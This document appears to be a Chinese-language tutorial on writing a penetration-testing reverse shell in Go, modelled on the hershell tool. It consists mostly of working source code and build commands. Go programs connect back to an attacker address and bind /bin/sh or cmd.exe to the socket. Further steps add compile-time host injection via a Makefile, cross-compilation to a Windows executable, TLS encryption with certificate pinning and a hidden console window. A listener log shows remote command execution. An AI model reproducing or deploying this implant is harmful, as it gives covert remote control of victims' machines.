go語言可以做滲透測試嗎

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev

bin包含編譯後的二進位制檔案和其他可執行檔案;
pkg包含Go下載包的物件檔案;
src包含你的應用程式和下載包的源目錄。

// filename: tcp.go
package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...

$ go build tcp.go
$ ./tcp

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

// filename: tcp.go
package main
import (
    "net"
    "os" 
    "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

var connectString string

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
    rm -f ${OUTPUT}

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

// filename: tcp_multi.go
package main
import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

用一個自制的方法，在應用程式層建立加密
使用一種被廣泛使用並且在對談層測試協定的方法,即TLS。

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)
var connectString string
func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}
func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,關於syscall.SysProcAttr模組檔案，我們得到以下資訊:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}

...
switch runtime.GOOS {
case "windows":
    cmd := exec.Cmd("cmd.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
    cmd := exec.Cmd("/bin/sh")
}
...

// +build windows !linux !darwin !freebsd
import net
...

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }
        defer conn.Close()
        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...